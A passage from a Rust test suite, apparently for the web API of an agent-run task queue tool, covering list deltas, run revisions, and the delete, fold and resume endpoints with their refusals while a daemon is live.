15648                .await
15649                .unwrap()
15650                .0,
15651        )
15652        .unwrap();
15653        assert!(
15654            old.as_array().unwrap().is_empty(),
15655            "older updates must not enter the window"
15656        );
15657        let newest = serde_json::to_value(
15658            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
15659                .await
15660                .unwrap()
15661                .0,
15662        )
15663        .unwrap();
15664        assert_eq!(newest.as_array().unwrap().len(), 1);
15665        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
15666
15667        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
15668        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
15669        let talks = serde_json::to_value(
15670            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
15671                .await
15672                .unwrap()
15673                .0,
15674        )
15675        .unwrap();
15676        assert_eq!(talks.as_array().unwrap().len(), 1);
15677        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
15678        assert_eq!(
15679            serde_json::to_value(
15680                talks_list(State(ui.clone()), query(Some("")))
15681                    .await
15682                    .unwrap()
15683                    .0
15684            )
15685            .unwrap(),
15686            serde_json::json!([])
15687        );
15688    }
15689
15690    #[tokio::test]
15691    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
15692    async fn delta_payload_benchmark() {
15693        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
15694        let ui = delta_test_ui(&home);
15695        let query = |ids: Option<String>| {
15696            Query(ListQuery {
15697                limit: Some(50),
15698                ids,
15699            })
15700        };
15701        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
15702        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
15703        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
15704        let queue_id = queue
15705            .iter()
15706            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
15707            .unwrap_or(&queue[0])
15708            .task
15709            .id
15710            .clone();
15711        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
15712            .await
15713            .unwrap()
15714            .0;
15715        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
15716            .await
15717            .unwrap()
15718            .0;
15719        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
15720            .await
15721            .unwrap()
15722            .0;
15723        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
15724        eprintln!(
15725            "DELTA_PAYLOAD {}",
15726            serde_json::json!({
15727                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
15728                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
15729                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
15730                "counts": [queue.len(), runs.len(), talks.len()],
15731                "blocked": queue_delta.len() - 1,
15732            })
15733        );
15734    }
15735
15736    #[test]
15737    fn runs_revision_moves_when_deleting_an_older_run() {
15738        let temp = TempDir::new().expect("tempdir");
15739        let runs = temp.path().join("runs");
15740        std::fs::create_dir_all(&runs).expect("create runs dir");
15741
15742        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
15743
15744        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
15745        std::thread::sleep(Duration::from_millis(10));
15746        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
15747
15748        let rev_before = runs_revision(&runs);
15749        assert!(rev_before > 0);
15750
15751        let old_dir = runs.join("20260901-100000-old1");
15752        std::fs::remove_dir_all(&old_dir).expect("remove old run");
15753
15754        let rev_after = runs_revision(&runs);
15755        assert_ne!(
15756            rev_before, rev_after,
15757            "deleting an older run must change the revision so other clients see the deletion"
15758        );
15759    }
15760
15761    /// A run's own `run.json` on an explicit `runs` root, bypassing the
15762    /// process-global home entirely — `RunState::save` writes through
15763    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
15764    /// (see `tests::home_lock` in the integration suite for why).
15765    fn write_state(runs: &FsPath, state: &RunState) {
15766        let dir = runs.join(&state.id);
15767        std::fs::create_dir_all(&dir).expect("run dir");
15768        std::fs::write(
15769            dir.join("run.json"),
15770            serde_json::to_string_pretty(state).expect("serialize run"),
15771        )
15772        .expect("write run.json");
15773    }
15774
15775    /// A seat starting or finishing is a write to `run.json` like any other,
15776    /// so it moves the same revision the change stream already watches —
15777    /// nothing new for `/api/events` to learn, but the property this feature
15778    /// depends on to reach the phone without a poll.
15779    #[test]
15780    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
15781        let temp = TempDir::new().expect("tempdir");
15782        let runs = temp.path().join("runs");
15783        std::fs::create_dir_all(&runs).expect("create runs dir");
15784        let mut state = RunState::new(
15785            PathBuf::from("/repo/magi"),
15786            "main".to_owned(),
15787            "0123456789abcdef".to_owned(),
15788            "task".to_owned(),
15789            Config::default(),
15790        );
15791        state.id = "20260902-100000-c0de".to_owned();
15792        write_state(&runs, &state);
15793
15794        let rev_idle = runs_revision(&runs);
15795        std::thread::sleep(Duration::from_millis(10));
15796        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
15797        write_state(&runs, &state);
15798        let rev_started = runs_revision(&runs);
15799        assert_ne!(
15800            rev_idle, rev_started,
15801            "a seat starting must move the revision"
15802        );
15803
15804        std::thread::sleep(Duration::from_millis(10));
15805        state.seat_finished("judge-1");
15806        write_state(&runs, &state);
15807        let rev_finished = runs_revision(&runs);
15808        assert_ne!(
15809            rev_started, rev_finished,
15810            "and clearing it again must move the revision a second time"
15811        );
15812    }
15813
15814    #[tokio::test]
15815    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
15816        // `TaskView` flattens `Task`, so this is really asserting that
15817        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
15818        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
15819        // never touched web.rs, so nothing here caught it if it had.
15820        let fx = Fixture::start().await;
15821        let q = fx.queue();
15822
15823        let mut t = Task::new(
15824            "Task".to_owned(),
15825            "Instruction".to_owned(),
15826            PathBuf::from("/repo"),
15827            Source::Human,
15828        );
15829        t.block(
15830            vec!["20260101-000000-dead".to_owned()],
15831            Some("waiting on Task 1".to_owned()),
15832        );
15833        t.answers.push(crate::queue::AnsweredQuestion {
15834            question: "Which backend?".to_owned(),
15835            answer: "SQLite".to_owned(),
15836        });
15837        q.put(&mut t).expect("put t");
15838
15839        let res = fx.get("/api/queue").await;
15840        assert_eq!(res.status, 200);
15841        let list = res.json();
15842        let view = list
15843            .as_array()
15844            .expect("array")
15845            .iter()
15846            .find(|v| v["id"] == t.id)
15847            .expect("task in list");
15848        assert_eq!(view["status_str"], "blocked");
15849        assert_eq!(
15850            view["blocked_by"],
15851            serde_json::json!(["20260101-000000-dead"])
15852        );
15853        assert_eq!(view["block_reason"], "waiting on Task 1");
15854        assert_eq!(view["answers"][0]["question"], "Which backend?");
15855        assert_eq!(view["answers"][0]["answer"], "SQLite");
15856
15857        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
15858        // but never `answers` - that is a settled decision, not state
15859        // describing the current block, so it survives.
15860        let res = fx
15861            .post(&format!("/api/queue/{}/hold", t.short()), None)
15862            .await;
15863        assert_eq!(res.status, 200);
15864        let held = res.json();
15865        assert_eq!(held["status_str"], "held");
15866        assert_eq!(held["blocked_by"], serde_json::json!([]));
15867        assert!(held["block_reason"].is_null());
15868        assert_eq!(held["answers"][0]["answer"], "SQLite");
15869    }
15870
15871    #[tokio::test]
15872    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
15873        let fx = Fixture::start().await;
15874        let q = fx.queue();
15875        let mk = |title: &str| {
15876            Task::new(
15877                title.to_owned(),
15878                "Instruction".to_owned(),
15879                PathBuf::from("/repo"),
15880                Source::Human,
15881            )
15882        };
15883        let mut root = mk("root");
15884        root.hold_manual(Some("waiting".to_owned()));
15885        q.put(&mut root).unwrap();
15886        let mut mid = mk("mid");
15887        mid.block(vec![root.id.clone()], None);
15888        q.put(&mut mid).unwrap();
15889        let mut leaf = mk("leaf");
15890        leaf.block(vec![mid.id.clone()], None);
15891        q.put(&mut leaf).unwrap();
15892
15893        let list = fx.get("/api/queue").await.json();
15894        let find = |id: &str| {
15895            list.as_array()
15896                .unwrap()
15897                .iter()
15898                .find(|v| v["id"] == id)
15899                .unwrap()
15900                .clone()
15901        };
15902        let leaf_view = find(&leaf.id);
15903        assert_eq!(
15904            leaf_view["waits_on"],
15905            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
15906        );
15907        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
15908        assert_eq!(
15909            find(&mid.id)["waits_on"],
15910            serde_json::json!([format!("{} (held)", root.short())])
15911        );
15912        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
15913    }
15914
15915    #[tokio::test]
15916    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
15917        let fx = Fixture::start().await;
15918        let q = fx.queue();
15919
15920        // 1. A queued task with runs attached can be deleted.
15921        let mut t1 = Task::new(
15922            "Task 1".to_owned(),
15923            "Instruction 1".to_owned(),
15924            PathBuf::from("/repo"),
15925            Source::Human,
15926        );
15927        let run_id = "20260901-000000-r111";
15928        t1.runs.push(run_id.to_owned());
15929        write_run(&fx.runs(), run_id, RunStatus::Merged);
15930        q.put(&mut t1).expect("put t1");
15931
15932        // Delete by short id
15933        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
15934        assert_eq!(res.status, 204);
15935        assert!(res.body.is_empty(), "204 No Content has no body");
15936        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
15937        assert!(
15938            fx.runs().join(run_id).exists(),
15939            "run directory must not be deleted when its task is deleted"
15940        );
15941
15942        // 2. A task a live daemon is running is refused with 409.
15943        let mut t2 = Task::new(
15944            "Task 2".to_owned(),
15945            "Instruction 2".to_owned(),
15946            PathBuf::from("/repo"),
15947            Source::Human,
15948        );
15949        t2.status = TaskStatus::Running;
15950        q.put(&mut t2).expect("put t2");
15951        let mut beat = crate::daemon::Status::new();
15952        beat.current = vec![crate::daemon::Current {
15953            task: t2.id.clone(),
15954            run: "20260901-000000-r222".to_owned(),
15955        }];
15956        beat.updated_at = jiff::Timestamp::now();
15957        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15958            .expect("publish a heartbeat");
15959        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
15960        assert_eq!(res.status, 409);
15961        assert!(
15962            res.json()["error"]
15963                .as_str()
15964                .unwrap()
15965                .contains("live daemon")
15966        );
15967        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
15968
15969        // 3. The same `running` status and an orphaned lock, with no daemon
15970        // behind either, is a leftover and deletable. Before this the phone
15971        // refused it for good: the status never changes on its own and
15972        // nothing drops a lock whose process is gone.
15973        // The daemon is killed: the file stays, the heartbeat stops.
15974        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
15975        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15976            .expect("leave a stale heartbeat");
15977        let mut t3 = Task::new(
15978            "Task 3".to_owned(),
15979            "Instruction 3".to_owned(),
15980            PathBuf::from("/repo"),
15981            Source::Human,
15982        );
15983        t3.status = TaskStatus::Running;
15984        q.put(&mut t3).expect("put t3");
15985        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
15986        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
15987        assert_eq!(res.status, 204);
15988        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
15989        assert!(
15990            q.claim(&t3.id).is_ok(),
15991            "the stale lock went with it, so the id is claimable again"
15992        );
15993
15994        // 4. Missing id returns 404
15995        let res = fx.delete("/api/queue/nonexistent").await;
15996        assert_eq!(res.status, 404);
15997    }
15998
15999    #[tokio::test]
16000    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16001        let fx = Fixture::start().await;
16002        let runs = fx.runs();
16003
16004        // 1. Finished and folded run can be deleted along with artifacts
16005        let run_id = "20260901-000000-fold";
16006        let mut state = RunState::new(
16007            PathBuf::from("/repo"),
16008            "main".to_owned(),
16009            "abc".to_owned(),
16010            "instruction".to_owned(),
16011            Config::default(),
16012        );
16013        state.id = run_id.to_owned();
16014        state.status = RunStatus::Merged;
16015        state.candidates.push(crate::run::Candidate {
16016            index: 0,
16017            label: 'A',
16018            agent: "a".to_owned(),
16019            branch: "b".to_owned(),
16020            worktree: PathBuf::from("/w"),
16021            summary: String::new(),
16022            stat: String::new(),
16023            files: 1,
16024            commits: 1,
16025            empty: false,
16026            failed: None,
16027            verified_noop: None,
16028            duration_ms: 0,
16029            folded: true,
16030        });
16031        let dir = runs.join(run_id);
16032        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16033        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16034            .expect("write artifact");
16035        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16036            .expect("write run.json");
16037
16038        // Delete by short id
16039        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16040        assert_eq!(res.status, 204);
16041        assert!(res.body.is_empty(), "204 has no body");
16042        assert!(!dir.exists(), "run directory and artifacts must be deleted");
16043
16044        // 2. A run a live daemon is working on is refused with 409. The
16045        // heartbeat is what makes it refusable: an unfinished run with no
16046        // daemon behind it is a leftover from a killed process, and case 1
16047        // above would otherwise be impossible to tell apart from this one.
16048        let run_running = "20260901-000000-rung";
16049        write_run(&runs, run_running, RunStatus::Prep);
16050        let mut beat = crate::daemon::Status::new();
16051        beat.current = vec![crate::daemon::Current {
16052            task: "20260901-000000-task".to_owned(),
16053            run: run_running.to_owned(),
16054        }];
16055        beat.updated_at = jiff::Timestamp::now();
16056        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16057            .expect("publish a heartbeat");
16058        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16059        assert_eq!(res.status, 409);
16060        assert!(
16061            res.json()["error"]
16062                .as_str()
16063                .unwrap()
16064                .contains("live daemon"),
16065            "the refusal must say who is holding it"
16066        );
16067        assert!(
16068            runs.join(run_running).exists(),
16069            "a run in flight keeps its directory"
16070        );
16071
16072        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
16073        let run_unfolded = "20260901-000000-unfd";
16074        let mut state2 = RunState::new(
16075            PathBuf::from("/repo"),
16076            "main".to_owned(),
16077            "abc".to_owned(),
16078            "instruction".to_owned(),
16079            Config::default(),
16080        );
16081        state2.id = run_unfolded.to_owned();
16082        state2.status = RunStatus::Ready;
16083        state2.candidates.push(crate::run::Candidate {
16084            index: 0,
16085            label: 'A',
16086            agent: "a".to_owned(),
16087            branch: "b".to_owned(),
16088            worktree: PathBuf::from("/w"),
16089            summary: String::new(),
16090            stat: String::new(),
16091            files: 1,
16092            commits: 1,
16093            empty: false,
16094            failed: None,
16095            verified_noop: None,
16096            duration_ms: 0,
16097            folded: false,
16098        });
16099        let dir2 = runs.join(run_unfolded);
16100        std::fs::create_dir_all(&dir2).expect("create dir2");
16101        std::fs::write(
16102            dir2.join("run.json"),
16103            serde_json::to_string(&state2).unwrap(),
16104        )
16105        .expect("write run.json");
16106
16107        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16108        assert_eq!(res.status, 409);
16109        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16110        assert!(dir2.exists(), "unfolded run directory is kept");
16111
16112        // 4. Missing id returns 404
16113        let res = fx.delete("/api/runs/nonexistent").await;
16114        assert_eq!(res.status, 404);
16115    }
16116
16117    /// The queue tiles on the Stats tab must render even on a home with no
16118    /// runs at all: queue state is not derived from run history, so hiding
16119    /// the whole dashboard body behind "no runs yet" would drop the one
16120    /// thing this tab promises unconditionally (queued/running/held/done).
16121    /// A DOM-level test would need a browser this suite does not have, so
16122    /// this pins the same invariant textually: `renderStatsQueue` is called
16123    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
16124    /// block that gates the run-derived panels.
16125    #[test]
16126    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16127        let start = APP_JS
16128            .find("function renderStats() {")
16129            .expect("renderStats");
16130        let end = start
16131            + APP_JS[start..]
16132                .find("function statsTile(")
16133                .expect("the next top-level function");
16134        let body = &APP_JS[start..end];
16135
16136        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16137        let gate_end = gate_start
16138            + body[gate_start..]
16139                .find("}\n  renderStatsQueue")
16140                .expect("the gate's own closing brace, right before the unconditional call");
16141        let gated = &body[gate_start..gate_end];
16142
16143        assert_eq!(
16144            body.matches("renderStatsQueue(").count(),
16145            1,
16146            "renderStats must call renderStatsQueue exactly once: {body}"
16147        );
16148        assert!(
16149            !gated.contains("renderStatsQueue"),
16150            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16151             run-derived panels on an empty run history - the queue panel has to render \
16152             regardless: {gated}"
16153        );
16154    }
16155
16156    #[test]
16157    fn web_ui_delete_contract_in_front_end() {
16158        // 1. API block has both delete endpoints
16159        assert!(APP_JS.contains("deleteRun:"));
16160        assert!(APP_JS.contains("deleteTask:"));
16161
16162        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
16163        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16164            ..APP_JS.find("function renderRuns").unwrap()];
16165        assert!(!run_cards_slice.to_lowercase().contains("delete"));
16166
16167        // 3. Run detail has delete entry and reasons
16168        assert!(APP_JS.contains("renderRunDelete"));
16169        assert!(APP_JS.contains("runDeleteReason"));
16170        assert!(APP_JS.contains("magi fold"));
16171        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16172
16173        // 4. Two-step delete arming and focus on Cancel
16174        assert!(APP_JS.contains("cancel.focus"));
16175        assert!(APP_JS.contains("armedRunDelete"));
16176        assert!(APP_JS.contains("renderTaskDeleteBox"));
16177        assert!(APP_JS.contains("armed${cap(key)}"));
16178
16179        // 5. Running task has disabled delete
16180        assert!(APP_JS.contains("disabled: status === \"running\""));
16181    }
16182
16183    /// Every element a run card's updater reaches for must be in the `refs`
16184    /// the builder handed it.
16185    ///
16186    /// `createRunCard` builds its elements, appends them to the card, and then
16187    /// lists them again in `row.refs`. That second list is the one the updater
16188    /// uses, and nothing connects the two - an element can be built, appended
16189    /// and rendered, and still be missing from `refs`. `superseded` was, for
16190    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
16191    /// exception took `syncList` with it, and the deck showed
16192    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
16193    /// line is computed before the cards, which is why the failure looked like
16194    /// a server that had lost its runs rather than a front end that had
16195    /// stopped rendering them.
16196    ///
16197    /// A `cargo test` cannot execute the front end, so this reads the two
16198    /// halves out of the source and compares them as sets. It is not a check
16199    /// on the wording of either list: adding an element, renaming one, or
16200    /// reordering them all keeps this passing, and only using one the builder
16201    /// never published fails it.
16202    #[test]
16203    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16204        let build = APP_JS
16205            .find("function createRunCard")
16206            .expect("createRunCard exists");
16207        let update = APP_JS
16208            .find("function updateRunCard")
16209            .expect("updateRunCard exists");
16210        let end = APP_JS
16211            .find("function renderRuns")
16212            .expect("renderRuns exists");
16213
16214        // The builder's published set: the object literal assigned to `refs`.
16215        let builder = &APP_JS[build..update];
16216        let open = builder.find("refs = {").expect("createRunCard sets refs");
16217        let literal = &builder[open + "refs = {".len()..];
16218        let close = literal.find('}').expect("the refs literal is closed");
16219        let published: HashSet<&str> = literal[..close]
16220            .split(',')
16221            // `name` and `name: value` both bind `name`.
16222            .filter_map(|entry| entry.split(':').next())
16223            .map(str::trim)
16224            .filter(|name| !name.is_empty())
16225            .collect();
16226        assert!(
16227            published.len() > 5,
16228            "the refs literal did not parse into names: {published:?}"
16229        );
16230
16231        // What the updaters reach for: every `r.<name>`, where `r` is the
16232        // `const r = row.refs` alias both functions open with.
16233        let mut used: Vec<&str> = Vec::new();
16234        let updaters = &APP_JS[update..end];
16235        for (at, _) in updaters.match_indices("r.") {
16236            // `r` must be the whole identifier, not the tail of another one
16237            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
16238            let before = updaters[..at].chars().next_back();
16239            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16240                continue;
16241            }
16242            let rest = &updaters[at + 2..];
16243            let len = rest
16244                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16245                .unwrap_or(rest.len());
16246            if len > 0 {
16247                used.push(&rest[..len]);
16248            }
16249        }
16250        assert!(
16251            used.len() > 5,
16252            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16253        );
16254
16255        let missing: Vec<&str> = used
16256            .iter()
16257            .copied()
16258            .filter(|name| !published.contains(name))
16259            .collect();
16260        assert!(
16261            missing.is_empty(),
16262            "a run card's updater reaches for {missing:?}, which `createRunCard` \
16263             never put in `refs` - every card will throw and the list will \
16264             render empty under a count line that says otherwise. Published: \
16265             {published:?}"
16266        );
16267    }
16268
16269    #[tokio::test]
16270    async fn folding_from_the_phone_reports_what_it_removed() {
16271        let fx = Fixture::start().await;
16272        let runs = fx.runs();
16273
16274        // A run with no candidates has nothing to fold, which is a 200 with an
16275        // honest count rather than an error: the operator asked for the trees
16276        // to be gone and they are.
16277        let id = "20260901-000000-fold";
16278        write_run(&runs, id, RunStatus::Stalled);
16279        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16280        assert_eq!(res.status, 200);
16281        assert_eq!(res.json()["removed_count"], 0);
16282        assert_eq!(res.json()["run"], id);
16283        assert!(
16284            runs.join(id).exists(),
16285            "a fold keeps the run's record; only the worktrees go"
16286        );
16287    }
16288
16289    #[tokio::test]
16290    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16291        let fx = Fixture::start().await;
16292        let runs = fx.runs();
16293        let wt = fx.home.path().join("wt").join("magi").join("dead");
16294        let id = "20260901-000000-dead";
16295        std::fs::create_dir_all(runs.join(id)).expect("run dir");
16296        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16297        std::fs::create_dir_all(&wt).expect("worktree dir");
16298
16299        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16300        assert_eq!(res.status, 200, "{}", res.body);
16301        assert!(
16302            res.json()["removed_count"].as_u64().unwrap() > 0,
16303            "the worktree this build could not read a state for still went"
16304        );
16305        assert!(
16306            !runs.join(id).exists(),
16307            "an unreadable run has no candidate list to fold selectively, so \
16308             the whole record goes - same as `magi fold` on the CLI"
16309        );
16310    }
16311
16312    #[tokio::test]
16313    async fn deleting_an_unreadable_run_removes_it_wholesale() {
16314        let fx = Fixture::start().await;
16315        let runs = fx.runs();
16316        let wt = fx.home.path().join("wt").join("magi").join("gone");
16317        let id = "20260901-000000-gone";
16318        std::fs::create_dir_all(runs.join(id)).expect("run dir");
16319        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16320        std::fs::create_dir_all(&wt).expect("worktree dir");
16321
16322        let res = fx.delete(&format!("/api/runs/{id}")).await;
16323        assert_eq!(res.status, 204, "{}", res.body);
16324        assert!(!runs.join(id).exists(), "the broken record is gone");
16325        assert!(!wt.exists(), "its worktree is gone too");
16326    }
16327
16328    #[tokio::test]
16329    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16330        let fx = Fixture::start().await;
16331        let runs = fx.runs();
16332        let id = "20260901-000000-live";
16333        write_run(&runs, id, RunStatus::Implementing);
16334
16335        let mut beat = crate::daemon::Status::new();
16336        beat.current = vec![crate::daemon::Current {
16337            task: "20260901-000000-task".to_owned(),
16338            run: id.to_owned(),
16339        }];
16340        beat.updated_at = jiff::Timestamp::now();
16341        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16342            .expect("publish a heartbeat");
16343
16344        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16345        assert_eq!(res.status, 409);
16346        assert!(
16347            res.json()["error"]
16348                .as_str()
16349                .unwrap()
16350                .contains("live daemon"),
16351            "folding under a running agent would pull its worktree away"
16352        );
16353    }
16354
16355    #[tokio::test]
16356    async fn fold_merged_requires_a_pr_url() {
16357        let fx = Fixture::start().await;
16358        let runs = fx.runs();
16359        let id = "20260901-000000-nourl";
16360        write_run(&runs, id, RunStatus::Blocked);
16361
16362        let res = fx
16363            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16364            .await;
16365        assert_eq!(res.status, 400, "{}", res.body);
16366
16367        let blank = fx
16368            .post(
16369                &format!("/api/runs/{id}/fold-merged"),
16370                Some(r#"{"pr_url":"   "}"#),
16371            )
16372            .await;
16373        assert_eq!(blank.status, 400, "{}", blank.body);
16374    }
16375
16376    #[tokio::test]
16377    async fn fold_merged_is_404_for_an_unknown_run() {
16378        let fx = Fixture::start().await;
16379        let res = fx
16380            .post(
16381                "/api/runs/nosuchrun/fold-merged",
16382                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16383            )
16384            .await;
16385        assert_eq!(res.status, 404, "{}", res.body);
16386    }
16387
16388    #[tokio::test]
16389    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
16390        let fx = Fixture::start().await;
16391        let runs = fx.runs();
16392        let id = "20260901-000000-livemerge";
16393        write_run(&runs, id, RunStatus::Blocked);
16394
16395        let mut beat = crate::daemon::Status::new();
16396        beat.current = vec![crate::daemon::Current {
16397            task: "20260901-000000-task".to_owned(),
16398            run: id.to_owned(),
16399        }];
16400        beat.updated_at = jiff::Timestamp::now();
16401        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16402            .expect("publish a heartbeat");
16403
16404        let res = fx
16405            .post(
16406                &format!("/api/runs/{id}/fold-merged"),
16407                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16408            )
16409            .await;
16410        assert_eq!(res.status, 409, "{}", res.body);
16411        assert!(
16412            res.json()["error"]
16413                .as_str()
16414                .unwrap()
16415                .contains("live daemon"),
16416            "correcting a run's merge underneath a running agent would race \
16417             whatever it is doing to the same `status`/`merge` fields"
16418        );
16419    }
16420
16421    /// A pull request `gh` cannot even ask about (no such remote, no such
16422    /// repository) must never be recorded as a merge on a guess - the same
16423    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
16424    /// command line, reached here through the phone route instead.
16425    #[tokio::test]
16426    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
16427        let fx = Fixture::start().await;
16428        let runs = fx.runs();
16429        let id = "20260901-000000-unconfirmed";
16430        write_run(&runs, id, RunStatus::Blocked);
16431
16432        let res = fx
16433            .post(
16434                &format!("/api/runs/{id}/fold-merged"),
16435                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16436            )
16437            .await;
16438        assert_eq!(res.status, 400, "{}", res.body);
16439        assert_eq!(
16440            read_run(&runs, id).unwrap().status,
16441            RunStatus::Blocked,
16442            "a pull request that could not be confirmed merged must leave \
16443             the run exactly where it was"
16444        );
16445    }
16446
16447    #[tokio::test]
16448    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
16449        let fx = Fixture::start().await;
16450        let runs = fx.runs();
16451
16452        // Only a finished run and a failed one. An *interrupted* run - a
16453        // parked one, or one whose daemon was killed mid-node - is the case
16454        // resuming exists for: run 4043 sat at `reviewing` with the deck
16455        // saying it could not be resumed, which was the one state where
16456        // resuming was the only sensible answer.
16457        for (status, word) in [
16458            (RunStatus::Merged, "merged"),
16459            (RunStatus::Ready, "ready"),
16460            (RunStatus::Failed, "failed"),
16461        ] {
16462            let id = format!("20260901-000000-{}", &word[..4]);
16463            write_run(&runs, &id, status);
16464            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
16465            assert_eq!(res.status, 409, "{word} must not be resumable");
16466            let err = res.json()["error"].as_str().unwrap().to_owned();
16467            assert!(err.contains(word), "the refusal names the status: {err}");
16468        }
16469
16470        // And an interrupted run is accepted: 202, with the resume running in
16471        // the background. `Runner::resume` fails immediately here - the
16472        // fixture's run points at a repository that does not exist - which is
16473        // the point: the handler must not wait for it to find out.
16474        let mid = "20260901-000000-midf";
16475        write_run(&runs, mid, RunStatus::Reviewing);
16476        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
16477        assert_eq!(res.status, 202, "an interrupted run is resumable");
16478    }
16479
16480    #[tokio::test]
16481    async fn resume_is_refused_while_the_loop_is_running() {
16482        let fx = Fixture::start().await;
16483        let runs = fx.runs();
16484        let stalled = "20260901-000000-stal";
16485        write_run(&runs, stalled, RunStatus::Stalled);
16486
16487        // The loop is busy with a *different* run, and that is still a
16488        // refusal: a manual resume must never race whatever the loop itself
16489        // is already driving, whether that is one run or several.
16490        let mut beat = crate::daemon::Status::new();
16491        beat.current = vec![crate::daemon::Current {
16492            task: "20260901-000000-task".to_owned(),
16493            run: "20260901-000000-othr".to_owned(),
16494        }];
16495        beat.updated_at = jiff::Timestamp::now();
16496        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16497            .expect("publish a heartbeat");
16498
16499        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
16500        assert_eq!(res.status, 409);
16501        let err = res.json()["error"].as_str().unwrap().to_owned();
16502        assert!(err.contains("othr"), "it names what the loop is on: {err}");
16503        assert!(err.contains("stop it first"), "{err}");
16504    }
16505
16506    #[test]
16507    fn a_run_cannot_be_resumed_twice_at_once() {
16508        let home = TempDir::new().expect("temp home");
16509        let ui = Ui::new(
16510            Queue::at(home.path().join("queue")),
16511            Questions::at(home.path().join("questions")),
